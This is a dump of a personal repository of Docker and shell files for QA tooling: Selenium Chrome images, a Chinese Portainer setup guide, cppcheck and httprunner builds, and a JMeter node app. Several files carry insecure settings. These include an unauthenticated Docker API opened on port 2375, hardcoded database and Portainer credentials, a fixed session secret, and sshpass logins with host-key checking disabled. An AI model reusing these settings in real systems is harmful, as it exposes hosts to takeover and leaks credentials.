| start-vnc.sh \ 107 | /opt/bin/ 108 | 109 | #============================== 110 | # Supervisor configuration file 111 | #============================== 112 | COPY selenium-debug.conf /etc/supervisor/conf.d/ 113 | 114 | 115 | #============================================ 116 | # selenium/standalone-chrome-debug:3.141.0-actinium 117 | #============================================ 118 | 119 | USER seluser 120 | 121 | #==================================== 122 | # Scripts to run Selenium Standalone 123 | #==================================== 124 | COPY start-selenium-standalone.sh /opt/bin/start-selenium-standalone.sh 125 | 126 | #============================== 127 | # Supervisor configuration file 128 | #============================== 129 | COPY selenium.conf /etc/supervisor/conf.d/ 130 | 131 | 132 | USER root 133 | 134 | #============= 135 | # chinese 136 | #============= 137 | 138 | RUN apt-get update \ 139 | && apt-get -y install ttf-wqy-microhei ttf-wqy-zenhei \ 140 | && apt-get -y install vim \ 141 | && apt-get -y install cron \ 142 | && apt-get clean 143 | 144 | 145 | EXPOSE 4444 146 | EXPOSE 5900 147 | -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.5-test/generate_config: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | CHROME_VERSION=$(/usr/bin/google-chrome -version | awk '{ print $3 }') 4 | 5 | cat <<_EOF 6 | { 7 | "capabilities": [ 8 | { 9 | "version": "$CHROME_VERSION", 10 | "browserName": "chrome", 11 | "maxInstances": $NODE_MAX_INSTANCES, 12 | "seleniumProtocol": "WebDriver", 13 | "applicationName": "$NODE_APPLICATION_NAME" 14 | } 15 | ], 16 | "proxy": "org.openqa.grid.selenium.proxy.DefaultRemoteProxy", 17 | "maxSession": $NODE_MAX_SESSION, 18 | "host": "$NODE_HOST", 19 | "port": $NODE_PORT, 20 | "register": true, 21 | "registerCycle": $NODE_REGISTER_CYCLE, 22 | "nodePolling": $NODE_POLLING, 23 | "unregisterIfStillDownAfter": $NODE_UNREGISTER_IF_STILL_DOWN_AFTER, 24 | "downPollingLimit": $NODE_DOWN_POLLING_LIMIT, 25 | "debug": $GRID_DEBUG 26 | } 27 | _EOF 28 | -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.5-test/selenium-debug.conf: -------------------------------------------------------------------------------- 1 | ; Documentation of this file format -> http://supervisord.org/configuration.html 2 | 3 | ; Priority 0 - xvfb, 5 - fluxbox (debug images), 10 - x11vnc (debug images), 15 - selenium-node 4 | 5 | [program:fluxbox] 6 | priority=5 7 | command=/opt/bin/start-fluxbox.sh 8 | autostart=true 9 | autorestart=false 10 | startsecs=0 11 | startretries=0 12 | 13 | ;Logs 14 | redirect_stderr=false 15 | stdout_logfile=/var/log/supervisor/fluxbox-stdout.log 16 | stderr_logfile=/var/log/supervisor/fluxbox-stderr.log 17 | stdout_logfile_maxbytes=50MB 18 | stderr_logfile_maxbytes=50MB 19 | stdout_logfile_backups=5 20 | stderr_logfile_backups=5 21 | stdout_capture_maxbytes=50MB 22 | stderr_capture_maxbytes=50MB 23 | 24 | [program:vnc] 25 | priority=10 26 | command=/opt/bin/start-vnc.sh 27 | autostart=true 28 | autorestart=false 29 | startsecs=0 30 | startretries=0 31 | 32 | ;Logs 33 | redirect_stderr=false 34 | stdout_logfile=/var/log/supervisor/vnc-stdout.log 35 | stderr_logfile=/var/log/supervisor/vnc-stderr.log 36 | stdout_logfile_maxbytes=50MB 37 | stderr_logfile_maxbytes=50MB 38 | stdout_logfile_backups=5 39 | stderr_logfile_backups=5 40 | stdout_capture_maxbytes=50MB 41 | stderr_capture_maxbytes=50MB 42 | -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.5-test/selenium.conf: -------------------------------------------------------------------------------- 1 | ; Documentation of this file format -> http://supervisord.org/configuration.html 2 | 3 | ; Priority 0 - xvfb, 5 - fluxbox (debug images), 10 - x11vnc (debug images), 15 - selenium-node 4 | 5 | [program:xvfb] 6 | priority=0 7 | command=/opt/bin/start-xvfb.sh 8 | autostart=true 9 | autorestart=false 10 | startsecs=0 11 | startretries=0 12 | 13 | ;Logs 14 | redirect_stderr=false 15 | stdout_logfile=/var/log/supervisor/xvfb-stdout.log 16 | stderr_logfile=/var/log/supervisor/xvfb-stderr.log 17 | stdout_logfile_maxbytes=50MB 18 | stderr_logfile_maxbytes=50MB 19 | stdout_logfile_backups=5 20 | stderr_logfile_backups=5 21 | stdout_capture_maxbytes=50MB 22 | stderr_capture_maxbytes=50MB 23 | 24 | 25 | [program:selenium-standalone] 26 | priority=15 27 | command=/opt/bin/start-selenium-standalone.sh 28 | autostart=true 29 | autorestart=false 30 | startsecs=0 31 | startretries=0 32 | 33 | ;Logs (all Hub activity redirected to stdout so it can be seen through "docker logs" 34 | redirect_stderr=true 35 | stdout_logfile=/dev/stdout 36 | stdout_logfile_maxbytes=0 37 | -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.5-test/start-fluxbox.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # IMPORTANT: Change this file only in directory NodeDebug! 4 | 5 | if [ "${START_XVFB}" = true ] ; then 6 | fluxbox -display ${DISPLAY} 7 | else 8 | echo "Fluxbox won't start because Xvfb is configured to not start." 9 | fi 10 | -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.5-test/start-selenium-standalone.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # IMPORTANT: Change this file only in directory StandaloneDebug! 4 | 5 | java ${JAVA_OPTS} -jar /opt/selenium/selenium-server-standalone.jar \ 6 | ${SE_OPTS} 7 | -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.5-test/start-vnc.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # IMPORTANT: Change this file only in directory NodeDebug! 4 | 5 | if [ "${START_XVFB}" = true ] ; then 6 | if [ ! -z $VNC_NO_PASSWORD ]; then 7 | echo "Starting VNC server without password authentication" 8 | X11VNC_OPTS= 9 | else 10 | X11VNC_OPTS=-usepw 11 | fi 12 | 13 | for i in $(seq 1 10) 14 | do 15 | sleep 1 16 | xdpyinfo -display ${DISPLAY} >/dev/null 2>&1 17 | if [ $? -eq 0 ]; then 18 | break 19 | fi 20 | echo "Waiting for Xvfb..." 21 | done 22 | 23 | x11vnc ${X11VNC_OPTS} -forever -shared -rfbport 5900 -display ${DISPLAY} 24 | else 25 | echo "Vnc won't start because Xvfb is configured to not start." 26 | fi 27 | -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/3.141.5-test/wrap_chrome_binary: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | WRAPPER_PATH=$(readlink -f /usr/bin/google-chrome) 4 | BASE_PATH="$WRAPPER_PATH-base" 5 | mv "$WRAPPER_PATH" "$BASE_PATH" 6 | 7 | cat > "$WRAPPER_PATH" <<_EOF 8 | #!/bin/bash 9 | 10 | # Note: exec -a below is a bashism. 11 | exec -a "\$0" "$BASE_PATH" --no-sandbox "\$@" 12 | _EOF 13 | chmod +x "$WRAPPER_PATH" 14 | -------------------------------------------------------------------------------- /docker/Dockerfile/chrome/docker-chrome-setup.md: -------------------------------------------------------------------------------- 1 | # 使用docker版本的chrome来支持UTS的UI自动化 2 | 3 | 4 | ## 1. 需要一个linux服务器 5 | 6 | 7 | 1.`uname -r`命令得到linux内核版本需要 > 3.0 8 | 9 | 2.确认安装docker(docker ps/ systemctl status docker)这里了先省略没有安装的步骤,戳这里按官网安装步骤[dockerhub](https://docs.docker.com/install/linux/docker-ce/centos/) 10 | 11 | 3.安装后或已安装了,确认下是否开放了`2375`端口(netstat -anop | grep 2375),如果确认是docker占用,到这里就结束了,否则看第四步 12 | ``` 13 | tcp6 0 0 :::2375 :::* LISTEN 11692/dockerd off (0.00/0/0) 14 | ``` 15 | 16 | 4.需要开启docker服务的2375端口,来支持远程访问 17 | 18 | ``` 19 | 1. 修改/etc/docker/daemon.json (如果没有这个daemon.json没有,创建就行),添加内容 20 | 21 | { 22 | "hosts":[ 23 | "unix:///var/run/docker.sock", 24 | "tcp://0.0.0.0:2375" 25 | ] 26 | } 27 | 28 | 如果已有文件内容,只需在内容底部,{}内添加host内容即可 29 | 30 | 2. 重启docker服务 `systemctl restart docker` 31 | 32 | 提示:这里可能会出现异常,问题排查,/usr/lib/systemd/system/docker.service文件里的ExecStart是否带了-H,导致当前的daeson.json中的-H无法使用,删除ExecStart中的-H 及其参数即可,有什么疑问@jayzhen 33 | ``` 34 | 35 | 5.验证下docker服务是否正常,`docker ps` 36 | 37 | ## 2. 使用portainer工具来构建测试使用的uts-chrome客户端 38 | 39 | 1.http://uts.qadev-inc.com:19000/#/containers/new (admin/admin123)添加端点 40 | 41 | * 通过docker的socket通信来建立管理连接 42 | 43 | 2.添加完端点后,从首页列表中点击对应刚刚添加的服务器,去添加容器(6不完成新建) 44 | 45 | * 1.通过首页-> 端点列表->进入到所要操作的机器上 46 | 47 | * 2.进入当前机器的容器列表页 48 | 49 | * 3.已存在的容器列表,点击添加容器 50 | 51 | * 4.新添加容器的配置页 52 | 53 | ``` 54 | name: 指的是后面运行的容器名称,最好是英文,且不可重复 55 | 镜像: 为uts-chrome容器的基础镜像,默认填:uts/chrome:3.141.0 56 | 注册表: 是uts-chrome镜像的仓库存储地方,默认选:docker-reg-qadev 57 | 端口映射: 是指容器内容服务的端口对接宿主机的端口,容器内部端口4444: selenium服务的端口,5900:docker桌面服务;需要将两个端口映射到宿主机上,供uts测试使用;端口不可重复 58 | Enable access control : 默认勾选就行,使用administrator方案 59 | ``` 60 | 61 | * 5.配置docker容器的选项 62 | 63 | ```shell 64 | 主要配置: 65 | volumes、env、restart policy 66 | 67 | volumes: /dev/shm:/dev/shm (必要配置) 68 | 69 | env: SCREEN_WIDTH=1930、SCREEN_HEIGHT=1090 (可选配置) 70 | 71 | restart policy: always (必选配置) 72 | ``` 73 | 74 | * 6.配置restart policy: always 75 | 76 | ## 3. 进入容器命令行模式,进行linux环境参数配置 77 | 78 | ```shell 79 | 1. 为了防止容器日志爆表,`进入容器命令行`设置下ulimit -c 0 80 | 2. 同方式,进入命令行模式,可以使用vim /etc/hosts来修改服务的hosts,以达到测试环境的转变 81 | ``` 82 | 83 | * 1.容器列表进入到容器的命令行界面 84 | * 2.连接进入 85 | 86 | * 3.命令行状态,同正常的linux命令行,不建议安装软件 87 | 88 | * 4.断开链接直接点击 `disconnect` 89 | 90 | 91 | ## 4. 已有容器,后续添加只需复制即可 92 | 93 | * 1.找到已存在的容器,点击进入详情页 94 | 95 | * 2.点击复制进入到编辑页 96 | 97 | * 3.修改不可重复的参数,即可提交,生成新的容器 98 | 99 | 100 | * 4.为了防止容器日志爆表,进入容器设置下ulimit -c 0 101 | 102 | 103 | ## 5. 如何查找uts使用的端口 104 | 105 | 服务上使用`dokcer ps`, ports栏中的端口就是我们需要关注的,映射对应4444的就是uts任务执行使用的端口 106 | 107 | ``` 108 | CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 109 | 98f1ceb75bd4 docker.qadev.com/shequ_qadev/uts-chrome:3.141.0 "/opt/bin/entry_poin…" 37 minutes ago Up 37 minutes 0.0.0.0:14446->4444/tcp, 0.0.0.0:6902->5900/tcp uts-chrome-14446 110 | f986e14db3fc docker.qadev.com/shequ_qadev/uts-chrome:3.141.0 "/opt/bin/entry_poin…" 38 minutes ago Up 38 minutes 0.0.0.0:14445->4444/tcp, 0.0.0.0:6901->5900/tcp uts-chrome-14445 111 | 8508ffefb713 docker.qadev.com/shequ_qadev/uts-chrome:3.141.0 "/opt/bin/entry_poin…" About an hour ago Up About an hour 0.0.0.0:14444->4444/tcp, 0.0.0.0:6900->5900/tcp uts-chrome-14444 112 | ``` 113 | 114 | portainer平台上,容器列表就能看到对应的端口 115 | -------------------------------------------------------------------------------- /docker/Dockerfile/cppcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:latest 2 | RUN mkdir /home/cppcheck && cd /home/cppcheck 3 | COPY ./cppcheck-1.90.tar.gz ./ 4 | RUN apk update \ 5 | && apk upgrade \ 6 | && apk add --update make g++ pcre-dev bash sshpass openssh rsync\ 7 | && tar -zxf cppcheck-1.90.tar.gz && rm -f cppcheck-1.90.tar.gz \ 8 | && cd cppcheck-1.90 \ 9 | && make install FILESDIR=/cfg HAVE_RULES=yes CXXFLAGS="-O2 -DNDEBUG --static" -j `getconf _NPROCESSORS_ONLN` \ 10 | && strip /usr/bin/cppcheck \ 11 | && rm -rf /home/cppcheck -------------------------------------------------------------------------------- /docker/Dockerfile/cppcheck/build.sh: -------------------------------------------------------------------------------- 1 | if [ ! $# == 3 ];then 2 | echo "Usage: sh $0 num user pw" 3 | exit 4 | else 5 | num=$1 6 | user=$2 7 | pw=$3 8 | sed -i "s#myuser#${user}#" Dockerfile 9 | sed -i "s#mypwd#${pw}#" Dockerfile 10 | docker build --no-cache -t cppcheck:v${num} . 11 | sed -i "s#${user}#myuser#" Dockerfile 12 | sed -i "s#${pw}#mypwd#" Dockerfile 13 | docker tag cppcheck:v${num} docker.qadev.com/jayzhen/cppcheck:v${num} 14 | docker login -u $user -p $pw docker.qadev.com 15 | docker push docker.qadev.com/jayzhen/cppcheck:v${num} 16 | fi 17 | 18 | -------------------------------------------------------------------------------- /docker/Dockerfile/cppcheck/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | httprunner: 4 | image: docker.qadev.com/jayzhen/cppcheck:v1.0 5 | container_name: cppcheck 6 | restart: always 7 | entrypoint: 8 | - /bin/bash 9 | tty: true 10 | stdin_open: true -------------------------------------------------------------------------------- /docker/Dockerfile/example/crontab: -------------------------------------------------------------------------------- 1 | 0 10 * * * echo "" >> /tmp/test.txt -------------------------------------------------------------------------------- /docker/Dockerfile/example/dubbo-admin: -------------------------------------------------------------------------------- 1 | FROM openjdk:8-jdk 2 | RUN mkdir /source && wget https://github.com/apache/incubator-dubbo-ops/archive/0.1.zip && unzip 0.1.zip -d /source 3 | WORKDIR /source/incubator-dubbo-admin-0.1 4 | RUN ./mvnw clean package -Dmaven.test.skip=true 5 | 6 | FROM openjdk:8-jre 7 | LABEL maintainer="dev@dubbo.apache.org" 8 | COPY --from=0 /source/incubator-dubbo-admin-0.1/dubbo-admin-distribution/target/dubbo-admin-0.1.jar /app.jar 9 | ENTRYPOINT ["java","-XX:+UnlockExperimentalVMOptions","-XX:+UseCGroupMemoryLimitForHeap","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"] 10 | EXPOSE 8080 -------------------------------------------------------------------------------- /docker/Dockerfile/example/entrypoint: -------------------------------------------------------------------------------- 1 | FROM alpine:3.18.3 2 | 3 | # CMD ["-H"] 4 | 5 | ENTRYPOINT ["top", "-b"] 6 | 7 | CMD ["-e"] -------------------------------------------------------------------------------- /docker/Dockerfile/example/ftp: -------------------------------------------------------------------------------- 1 | FROM **/qadev-base/pure-ftpd:hardened.hub 2 | 3 | MAINTAINER Lich <@**.com> 4 | 5 | CMD /run.sh -c 500 -C 500 -l puredb:/etc/pure-ftpd/pureftpd.pdb -E -j -R -P $PUBLICHOST -p 30000:30499 6 | 7 | EXPOSE 21 30000-30499 8 | -------------------------------------------------------------------------------- /docker/Dockerfile/example/golang: -------------------------------------------------------------------------------- 1 | FROM golang:latest 2 | 3 | WORKDIR /go/src/app 4 | COPY . . 5 | 6 | RUN go get -d -v ./ 7 | RUN go install -v ./ 8 | 9 | CMD ["app"] 10 | -------------------------------------------------------------------------------- /docker/Dockerfile/example/jar: -------------------------------------------------------------------------------- 1 | FROM openjdk:8u262-slim 2 | MAINTAINER jayzhen 3 | 4 | ADD server.jar /usr/src 5 | ADD lib/ /usr/src/lib 6 | ADD src/conifg /usr/src/config 7 | 8 | WORKDIR /usr/src 9 | 10 | CMD ["java","-Duser.timezone=Asia/Shanghai","-jar","server.jar"] 11 | -------------------------------------------------------------------------------- /docker/Dockerfile/example/open-api: -------------------------------------------------------------------------------- 1 | FROM registry.***.net/library/java:8-jre 2 | 3 | ADD build/libs/open-api-0.0.1-SNAPSHOT.jar /usr/src/open-api.jar 4 | 5 | WORKDIR /usr/src 6 | 7 | CMD ["java", "-Duser.timezone=Asia/Shanghai", "-Djava.security.egd=file:/dev/./urandom", "-jar", "open-api.jar", "--spring.profiles.active=test"] 8 | -------------------------------------------------------------------------------- /docker/Dockerfile/example/webtest: -------------------------------------------------------------------------------- 1 | FROM tomcat:8-jdk11 2 | 3 | MAINTAINER jayzhen 4 | 5 | ADD uts-shadow.war /usr/local/tomcat/webapps/ROOT.war 6 | 7 | 8 | -------------------------------------------------------------------------------- /docker/Dockerfile/httprunner/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | # Install packages 3 | RUN apk update \ 4 | && apk upgrade \ 5 | && apk add --update wget bash bc python3-dev libxslt-dev gcc make g++ git rsync openssh sshpass 6 | WORKDIR /data/daemon 7 | 8 | RUN wget http://10.0.0.0:81/httprunner/v3.1.4/sg-runner-3.1.4.tar.gz \ 9 | && pip install sg-runner-3.1.4.tar.gz -i https://pypi.tuna.tsinghua.edu.cn/simple \ 10 | && rm -f sg-runner-3.1.4.tar.gz 11 | 12 | -------------------------------------------------------------------------------- /docker/Dockerfile/httprunner/build.sh: -------------------------------------------------------------------------------- 1 | if [ ! $# == 3 ];then 2 | echo "Usage: sh $0 num user pw" 3 | exit 4 | else 5 | num=$1 6 | user=$2 7 | pw=$3 8 | sed -i "s#myuser#${user}#" Dockerfile 9 | sed -i "s#mypwd#${pw}#" Dockerfile 10 | docker build --no-cache -t httprunner:v${num} . 11 | sed -i "s#${user}#myuser#" Dockerfile 12 | sed -i "s#${pw}#mypwd#" Dockerfile 13 | docker tag httprunner:v${num} docker.qadev.com/jayzhen/httprunner:v${num} 14 | docker login -u $user -p $pw docker.qadev.com 15 | docker push docker.qadev.com/jayzhen/httprunner:v${num} 16 | fi 17 | 18 | -------------------------------------------------------------------------------- /docker/Dockerfile/httprunner/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | httprunner: 4 | image: docker.qadev.com/tools/httprunner:v1.3 5 | container_name: httprunner 6 | restart: always 7 | entrypoint: 8 | - /bin/bash 9 | tty: true 10 | stdin_open: true -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/jmeter/.DS_Store -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM alpine:3.8 2 | 3 | # Install packages 4 | RUN apk update \ 5 | && apk upgrade \ 6 | && apk add --update git nodejs nodejs-npm python sshpass openjdk8-jre bash tar unzip wget\ 7 | && apk add --no-cache openssh\ 8 | && rm -rf /var/cache/apk/* 9 | # Install jmeter 10 | RUN mkdir /jmeter \ 11 | && cd /jmeter/ \ 12 | && wget http://10.1.1.1/jmeter-tgz/apache-jmeter-4.0.tgz \ 13 | && tar -xzf apache-jmeter-4.0.tgz \ 14 | && rm apache-jmeter-4.0.tgz \ 15 | && mkdir /jmeter-plugins \ 16 | && cd /jmeter-plugins/ \ 17 | && wget http://10.1.1.1/jmeter-tgz/JMeterPlugins-ExtrasLibs-1.4.0.zip \ 18 | && unzip -o JMeterPlugins-ExtrasLibs-1.4.0.zip -d /jmeter/apache-jmeter-4.0/ \ 19 | && wget http://10.1.1.1/jmeter-tgz/jpgc-perfmon-2.0.zip \ 20 | && unzip -o jpgc-perfmon-2.0.zip -d /jmeter/apache-jmeter-4.0 21 | # Set Jmeter Home 22 | ENV JMETER_HOME /jmeter/apache-jmeter-4.0/ 23 | # Add Jmeter to the Path 24 | ENV PATH $JMETER_HOME/bin:$PATH 25 | 26 | 27 | # Add nodefile to the Path 28 | ADD start.sh /data/daemon/ 29 | WORKDIR /data/daemon 30 | ENV NPM_CONFIG_LOGLEVEL info 31 | -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/README.md: -------------------------------------------------------------------------------- 1 | jmeter-docker 说明文档 2 | ==================== 3 | >1.启动办法 sh deploy.sh yes/no 4 | >>(1)除10.1.1.1外,其他机器仅启动jmeternode
5 | > 6 | >>(2)10.1.1.1机器是否重新启动mysql,可以通过添加yes/no标识来区分
7 | > 8 | >>(3)jmeternode中的代码通过git下载后部署,container创建完成后可以直接到内部修改、更新代码
9 | > 10 | >>(4)jmeternode日志文件存放在container内部的/data/daemon/jmeter-docker/jmeternode/log中
11 | > 12 | >>(5)jmeter的过程文件存储在deploy.sh上级目录的uploadfiles文件中,请一定不要删除uploadfiles文件夹,否则所有测试记录将被删除
13 | > 14 | -------------------- 15 | 16 | >2.mysql 17 | >>(1)mysql/jmxs.sql中存放数据库文件,将该文件放入/docker-entrypoint-initdb.d/中,即可在创建container的同时创建db。
18 | > 19 | >>(2)mysql中存储jmx文件的部分信息、目标服务器信息和当前压测进程的状态。
20 | > 21 | -------------------- 22 | 23 | >3.jmeternode 24 | >>(1)container建立的同时在其内部使用sh start.sh部署并启动服务
25 | > 26 | >>(2)执行jmeter性能测试or压力测试or稳定性测试。
27 | > 28 | >>(3)ssh到目标服务器部署监控脚本和定时任务,echart显示监控结果(cpu、mem等)。
29 | > 30 | >>(4)log.jtl文件过大时不可自动生成html报告,需要下载log.jtl文件并用jmeter客户端打开以查看测试结果。
31 | > 32 | -------------------- 33 | >4.执行结果说明 34 | >>(1)文件夹名称为 YYYYMMDDHHmmss_duration 时间_执行分钟数
35 | > 36 | >>(2)log.jtl为jmeter执行的日志。
37 | > 38 | >>(3)result为jmeter执行报告,包含qps、响应时间等。
39 | > 40 | >>(4)process_duration_top/ps为测试时间内性能监测数据。
41 | > 42 | >>(5)chart_process_duration为性能监测结果,包含cpu和mem的使用率等。
43 | > 44 | -------------------- -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/deploy.sh: -------------------------------------------------------------------------------- 1 | echo 'start deploy' 2 | host=`ifconfig|grep inet|grep -v 127.0.0.1|grep -v inet6|grep -v '172.'|awk '{print $2}'|head -n 1` 3 | echo 'get host:'$host 4 | workpath=`pwd` 5 | sed -i "s#host_ip#$host#g" $workpath/jmeternode/start.sh 6 | echo 'change host config to '$host 7 | 8 | if [ "$host" = "10.1.1.1" ] && [ $1 = "yes" ]; then 9 | cd $workpath/mysql 10 | docker-compose build 11 | docker-compose up -d 12 | fi 13 | 14 | cd $workpath/jmeternode 15 | docker-compose build 16 | docker-compose up -d 17 | 18 | sed -i "s#$host#host_ip#g" $workpath/jmeternode/start.sh 19 | echo 'change host config to 127.0.0.1' 20 | echo 'end' -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | jmeternode: 4 | build: 5 | context: . 6 | dockerfile: Dockerfile 7 | image: jmeternode 8 | container_name: jmeternode 9 | volumes: 10 | - ../../uploadfiles:/data/daemon/public/files 11 | restart: always 12 | ports: 13 | - 3333:3333 14 | entrypoint: 15 | - /bin/bash 16 | tty: true 17 | stdin_open: true 18 | command: 19 | - start.sh -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/jmeter/jmeternode/.DS_Store -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/add_mem.sh: -------------------------------------------------------------------------------- 1 | ip=$1 2 | user=$2 3 | pw=$3 4 | process=$4 5 | echo "start install mem" 6 | sshpass -p $pw scp -o StrictHostKeyChecking=no -r install.sh $user@$ip:~/ 7 | if [ "$process"s == s ];then 8 | sshpass -p $pw ssh -o StrictHostKeyChecking=no $user@$ip "sh ~/install.sh ; rm ~/install.sh" 9 | else 10 | sshpass -p $pw ssh -o StrictHostKeyChecking=no $user@$ip "sh ~/install.sh ; sh ~/mem/addmem_qa.sh $process ; rm ~/install.sh" 11 | fi 12 | echo "stop install mem" 13 | -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/app.js: -------------------------------------------------------------------------------- 1 | var express = require('express') 2 | var serveIndex = require('serve-index') 3 | var app = express() 4 | var mysql = require('mysql') 5 | var ipaddress = getIPAdress(); 6 | 7 | var log4js = require('log4js'); 8 | log4js.configure('./config/log4j.json'); 9 | /** 10 | * This middleware provides a consistent API 11 | * for MySQL connections during request/response life cycle 12 | */ 13 | var myConnection = require('express-myconnection') 14 | /** 15 | * Store database credentials in a separate config.js file 16 | * Load the file/module and its values 17 | */ 18 | var config = require('./config/config') 19 | var dbOptions = { 20 | host: config.database.host, 21 | user: config.database.user, 22 | password: config.database.password, 23 | port: config.database.port, 24 | database: config.database.db, 25 | dateStrings: config.database.dateStrings 26 | } 27 | /** 28 | * 3 strategies can be used 29 | * single: Creates single database connection which is never closed. 30 | * pool: Creates pool of connections. Connection is auto release when response ends. 31 | * request: Creates new connection per new request. Connection is auto close when response ends. 32 | */ 33 | app.use(myConnection(mysql, dbOptions, 'pool')) 34 | 35 | /** 36 | * setting up the templating view engine 37 | */ 38 | app.set('view engine', 'ejs') 39 | 40 | /** 41 | * import routes/index.js 42 | */ 43 | var index = require('./routes/index') 44 | 45 | /** 46 | * Express Validator Middleware for Form Validation 47 | */ 48 | var expressValidator = require('express-validator') 49 | app.use(expressValidator()) 50 | 51 | 52 | /** 53 | * body-parser module is used to read HTTP POST data 54 | * it's an express middleware that reads form's input 55 | * and store it as javascript object 56 | */ 57 | var bodyParser = require('body-parser') 58 | /** 59 | * bodyParser.urlencoded() parses the text as URL encoded data 60 | * (which is how browsers tend to send form data from regular forms set to POST) 61 | * and exposes the resulting object (containing the keys and values) on req.body. 62 | */ 63 | app.use(bodyParser.urlencoded({ extended: true })) 64 | app.use(bodyParser.json()) 65 | 66 | 67 | /** 68 | * This module let us use HTTP verbs such as PUT or DELETE 69 | * in places where they are not supported 70 | */ 71 | var methodOverride = require('method-override') 72 | 73 | /** 74 | * using custom logic to override method 75 | * 76 | * there are other ways of overriding as well 77 | * like using header & using query value 78 | */ 79 | app.use(methodOverride(function (req, res) { 80 | if (req.body && typeof req.body === 'object' && '_method' in req.body) { 81 | // look in urlencoded POST bodies and delete it 82 | var method = req.body._method 83 | delete req.body._method 84 | return method 85 | } 86 | })) 87 | 88 | /** 89 | * This module shows flash messages 90 | * generally used to show success or error messages 91 | * 92 | * Flash messages are stored in session 93 | * So, we also have to install and use 94 | * cookie-parser & session modules 95 | */ 96 | app.use(log4js.connectLogger(log4js.getLogger("http"), { level: 'trace' })); 97 | 98 | var flash = require('express-flash') 99 | var cookieParser = require('cookie-parser'); 100 | var session = require('express-session'); 101 | app.use(cookieParser('keyboard cat')) 102 | app.use(session({ 103 | secret: 'keyboard cat', 104 | resave: false, 105 | saveUninitialized: true, 106 | cookie: { maxAge: 60000 } 107 | })) 108 | app.use(flash()) 109 | app.use('/public',express.static(require('path').join(__dirname, '/public'))); 110 | app.use('/public',serveIndex(__dirname + '/public')); 111 | app.use('/', index) 112 | app.listen(3333, function(){ 113 | console.log('Server running at port 3333: http://'+ipaddress+':3333') 114 | }) 115 | 116 | /** 117 | * 获取本机IP 118 | * @return {[string]} [IP地址] 119 | */ 120 | function getIPAdress() { 121 | var interfaces = require('os').networkInterfaces(); 122 | for (var devName in interfaces) { 123 | var iface = interfaces[devName]; 124 | for (var i = 0; i < iface.length; i++) { 125 | var alias = iface[i]; 126 | if (alias.family === 'IPv4' && alias.address !== '127.0.0.1' && !alias.internal) { 127 | return alias.address; 128 | } 129 | } 130 | } 131 | } -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/config/config.js: -------------------------------------------------------------------------------- 1 | var config = { 2 | database: { 3 | host: '10.1.1.1', // database host 4 | user: 'root', // your database username 5 | password: '12345678', // your database password 6 | port: '3306', // default MySQL port 7 | db: 'test', // your database name 8 | dateStrings: true 9 | }, 10 | server: { 11 | host: '127.0.0.1', 12 | port: '3333' 13 | } 14 | } 15 | 16 | module.exports = config 17 | -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/config/log4j.json: -------------------------------------------------------------------------------- 1 | { 2 | "appenders": { 3 | "console": { 4 | "type": "console" 5 | }, 6 | "trace": { 7 | "type": "file", 8 | "filename": "log/access.log", 9 | "maxLogSize ": 31457280 10 | }, 11 | "http": { 12 | "type": "logLevelFilter", 13 | "appender": "trace", 14 | "level": "trace", 15 | "maxLevel": "trace" 16 | }, 17 | "info": { 18 | "type": "dateFile", 19 | "filename": "log/app-info.log", 20 | "pattern": ".yyyy-MM-dd", 21 | "layout": { 22 | "type": "pattern", 23 | "pattern": "[%d{ISO8601}][%5p %z %c] %m" 24 | }, 25 | "compress": true 26 | }, 27 | "maxInfo": { 28 | "type": "logLevelFilter", 29 | "appender": "info", 30 | "level": "debug", 31 | "maxLevel": "info" 32 | }, 33 | "error": { 34 | "type": "dateFile", 35 | "filename": "log/app-error.log", 36 | "pattern": ".yyyy-MM-dd", 37 | "layout": { 38 | "type": "pattern", 39 | "pattern": "[%d{ISO8601}][%5p %z %c] %m" 40 | }, 41 | "compress": true 42 | }, 43 | "minError": { 44 | "type": "logLevelFilter", 45 | "appender": "error", 46 | "level": "error" 47 | } 48 | }, 49 | "categories": { 50 | "default": { 51 | "appenders": [ 52 | "console", 53 | "http", 54 | "maxInfo", 55 | "minError" 56 | ], 57 | "level": "all" 58 | } 59 | } 60 | } -------------------------------------------------------------------------------- /docker/Dockerfile/jmeter/jmeternode/get_mem.sh: -------------------------------------------------------------------------------- 1 | ip=$1 2 | user=$2 3 | pw=$3 4 | process=$4 5 | duration=$5 6 | path=$6 7 | 